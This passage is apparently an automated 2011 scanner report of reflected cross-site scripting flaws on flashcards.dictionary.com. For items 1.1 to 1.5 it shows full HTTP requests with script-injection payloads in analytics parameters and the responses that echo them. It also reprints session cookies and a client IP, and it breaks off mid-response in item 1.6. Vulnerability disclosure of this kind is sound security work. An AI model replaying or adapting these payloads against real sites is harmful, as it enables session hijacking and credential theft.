XSS, flashcards.dictionary.com, CWE-79, CAPEC-86, Cross Site Scripting

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Thu Mar 24 12:52:57 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler

Loading


1. Cross-site scripting (reflected)

1.1. http://flashcards.dictionary.com/ [__utma parameter]

1.2. http://flashcards.dictionary.com/ [__utmb parameter]

1.3. http://flashcards.dictionary.com/ [__utmc parameter]

1.4. http://flashcards.dictionary.com/ [__utmk parameter]

1.5. http://flashcards.dictionary.com/ [__utmv parameter]

1.6. http://flashcards.dictionary.com/ [__utmx parameter]

1.7. http://flashcards.dictionary.com/ [__utmz parameter]

1.8. http://flashcards.dictionary.com/ [name of an arbitrarily supplied request parameter]

1.9. http://flashcards.dictionary.com/favicon.ico [REST URL parameter 1]

1.10. http://flashcards.dictionary.com/mydecks [REST URL parameter 1]

1.11. http://flashcards.dictionary.com/mydecks [name of an arbitrarily supplied request parameter]

2. Cookie scoped to parent domain

2.1. http://flashcards.dictionary.com/

2.2. http://flashcards.dictionary.com/mydecks

3. Cookie without HttpOnly flag set

3.1. http://flashcards.dictionary.com/

3.2. http://flashcards.dictionary.com/mydecks

4. Cross-domain Referer leakage

5. Cross-domain script include

5.1. http://flashcards.dictionary.com/

5.2. http://flashcards.dictionary.com/mydecks

6. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 11 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://flashcards.dictionary.com/ [__utma parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://flashcards.dictionary.com
Path:   /

Issue detail

The value of the __utma request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 67101"><script>alert(1)</script>46bf77ee43f was submitted in the __utma parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?__utma=1.901727063.1300987844.1300987844.1300987844.167101"><script>alert(1)</script>46bf77ee43f&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926 HTTP/1.1
Host: flashcards.dictionary.com
Proxy-Connection: keep-alive
Referer: http://www.reference.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Thu, 24 Mar 2011 17:31:59 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: fc_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22bed301d6f13a2b14bc871b2b503a7219%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987919%22%3B%7Da8098aa5d710be063c0bb8ef98adf8b5; expires=Thu, 24-Mar-2011 19:31:59 GMT; path=/; domain=.dictionary.com
Set-Cookie: fc_session=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:59 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:59 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:59 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=TYeqb0LreVxhb%2F7Z; expires=Sat, 23-Mar-2013 17:31:59 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:59 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:31:59 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=TYt%2FmELreURtnPE+; expires=Thu, 24-Mar-2011 18:01:59 GMT; path=/; domain=.dictionary.com
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: keep-alive
Content-Length: 41496

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"
xmlns:fb="http://www.facebook.com/2010/fbml"
xmlns:og="http://openg
...[SNIP]...
<link rel="canonical" href="http://flashcards.dictionary.com/?__utma=1.901727063.1300987844.1300987844.1300987844.167101"><script>alert(1)</script>46bf77ee43f&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926" />
...[SNIP]...

1.2. http://flashcards.dictionary.com/ [__utmb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://flashcards.dictionary.com
Path:   /

Issue detail

The value of the __utmb request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7bdd4"><script>alert(1)</script>7246e8f24a8 was submitted in the __utmb parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.13009878447bdd4"><script>alert(1)</script>7246e8f24a8&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926 HTTP/1.1
Host: flashcards.dictionary.com
Proxy-Connection: keep-alive
Referer: http://www.reference.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Thu, 24 Mar 2011 17:32:02 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: fc_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22d11adebb4b6a5cfa5b6087dbb04c2662%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987922%22%3B%7D03f9b09c4e92bf4ac7f10d375c420bb8; expires=Thu, 24-Mar-2011 19:32:02 GMT; path=/; domain=.dictionary.com
Set-Cookie: fc_session=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:02 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:02 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:02 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=TYeqb0LreVxhb%2F7Z; expires=Sat, 23-Mar-2013 17:32:02 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:02 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:02 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=TYt%2FmELreURtnPE+; expires=Thu, 24-Mar-2011 18:02:02 GMT; path=/; domain=.dictionary.com
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: keep-alive
Content-Length: 41460

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"
xmlns:fb="http://www.facebook.com/2010/fbml"
xmlns:og="http://openg
...[SNIP]...
<link rel="canonical" href="http://flashcards.dictionary.com/?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.13009878447bdd4"><script>alert(1)</script>7246e8f24a8&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926" />
...[SNIP]...

1.3. http://flashcards.dictionary.com/ [__utmc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://flashcards.dictionary.com
Path:   /

Issue detail

The value of the __utmc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 144f1"><script>alert(1)</script>f0319d05664 was submitted in the __utmc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1144f1"><script>alert(1)</script>f0319d05664&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926 HTTP/1.1
Host: flashcards.dictionary.com
Proxy-Connection: keep-alive
Referer: http://www.reference.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Thu, 24 Mar 2011 17:32:06 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: fc_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22217842217c1a10877149e88338ad3166%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987926%22%3B%7Ddd1883e47046ac8c7ea4850e8a86796c; expires=Thu, 24-Mar-2011 19:32:06 GMT; path=/; domain=.dictionary.com
Set-Cookie: fc_session=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:06 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:06 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:06 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=TYeqb0LreVxhb%2F7Z; expires=Sat, 23-Mar-2013 17:32:06 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:06 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:06 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=TYt%2FmELreURtnPE+; expires=Thu, 24-Mar-2011 18:02:06 GMT; path=/; domain=.dictionary.com
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: keep-alive
Content-Length: 41476

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"
xmlns:fb="http://www.facebook.com/2010/fbml"
xmlns:og="http://openg
...[SNIP]...
<link rel="canonical" href="http://flashcards.dictionary.com/?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1144f1"><script>alert(1)</script>f0319d05664&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926" />
...[SNIP]...

1.4. http://flashcards.dictionary.com/ [__utmk parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://flashcards.dictionary.com
Path:   /

Issue detail

The value of the __utmk request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cfc06"><script>alert(1)</script>5a308670545 was submitted in the __utmk parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926cfc06"><script>alert(1)</script>5a308670545 HTTP/1.1
Host: flashcards.dictionary.com
Proxy-Connection: keep-alive
Referer: http://www.reference.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Thu, 24 Mar 2011 17:32:19 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: fc_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22c14c72b15ca5ad7343584d28f0492e13%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987939%22%3B%7D13c01529b3e0e4115551a3f8376b413b; expires=Thu, 24-Mar-2011 19:32:19 GMT; path=/; domain=.dictionary.com
Set-Cookie: fc_session=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:19 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:19 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:19 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=TYeqb0LreVxhb%2F7Z; expires=Sat, 23-Mar-2013 17:32:19 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:19 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:19 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=TYt%2FmELreURtnPE+; expires=Thu, 24-Mar-2011 18:02:19 GMT; path=/; domain=.dictionary.com
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: keep-alive
Content-Length: 41479

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"
xmlns:fb="http://www.facebook.com/2010/fbml"
xmlns:og="http://openg
...[SNIP]...
nary.com/?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926cfc06"><script>alert(1)</script>5a308670545" />
...[SNIP]...

1.5. http://flashcards.dictionary.com/ [__utmv parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://flashcards.dictionary.com
Path:   /

Issue detail

The value of the __utmv request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e2f4f"><script>alert(1)</script>d8406bc5d9a was submitted in the __utmv parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-e2f4f"><script>alert(1)</script>d8406bc5d9a&__utmk=99520926 HTTP/1.1
Host: flashcards.dictionary.com
Proxy-Connection: keep-alive
Referer: http://www.reference.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Thu, 24 Mar 2011 17:32:16 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: fc_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22c1c5483a9211e717b90aaabb77e388a8%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987936%22%3B%7D04535c46c66b4bcb1e0e426406910ec7; expires=Thu, 24-Mar-2011 19:32:16 GMT; path=/; domain=.dictionary.com
Set-Cookie: fc_session=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:16 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:16 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:16 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=TYeqb0LreVxhb%2F7Z; expires=Sat, 23-Mar-2013 17:32:16 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:16 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:16 GMT; path=/; domain=.dictionary.com
Set-Cookie: sid=TYt%2FmELreURtnPE+; expires=Thu, 24-Mar-2011 18:02:16 GMT; path=/; domain=.dictionary.com
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.6
Connection: keep-alive
Content-Length: 41531

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"
xmlns:fb="http://www.facebook.com/2010/fbml"
xmlns:og="http://openg
...[SNIP]...
lashcards.dictionary.com/?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-e2f4f"><script>alert(1)</script>d8406bc5d9a&__utmk=99520926" />
...[SNIP]...

1.6. http://flashcards.dictionary.com/ [__utmx parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://flashcards.dictionary.com
Path:   /

Issue detail

The value of the __utmx request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb603"><script>alert(1)</script>19ae98427f2 was submitted in the __utmx parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?__utma=1.901727063.1300987844.1300987844.1300987844.1&__utmb=1.1.10.1300987844&__utmc=1&__utmx=-fb603"><script>alert(1)</script>19ae98427f2&__utmz=1.1300987844.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=-&__utmk=99520926 HTTP/1.1
Host: flashcards.dictionary.com
Proxy-Connection: keep-alive
Referer: http://www.reference.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bid=TYeqb0LreVxhb%2F7Z; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22780740dd5efc7ce340f37f6b1315e092%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987801%22%3Bs%3A8%3A%22messages%22%3Ba%3A4%3A%7Bs%3A7%3A%22success%22%3Ba%3A0%3A%7B%7Ds%3A5%3A%22error%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22warning%22%3Ba%3A0%3A%7B%7Ds%3A7%3A%22message%22%3Ba%3A0%3A%7B%7D%7D%7D40957230b129e84f4e89d478f2bc14e7; sid=TYt%2FmELreURtnPE+

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Thu, 24 Mar 2011 17:32:10 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: fc_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22be9bf067ab6a277bf25b6d771ce2ba9e%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+6.1%3B+en-US%29+Ap%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221300987930%22%3B%7D36a961d74f8d3e64ebb6fdf97adce8fa; expires=Thu, 24-Mar-2011 19:32:10 GMT; path=/; domain=.dictionary.com
Set-Cookie: fc_session=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:10 GMT; path=/; domain=.dictionary.com
Set-Cookie: bid=a%3A0%3A%7B%7D; expires=Thu, 25-Mar-2010 03:32:10 GMT; path=/; domain=.dictionary.com
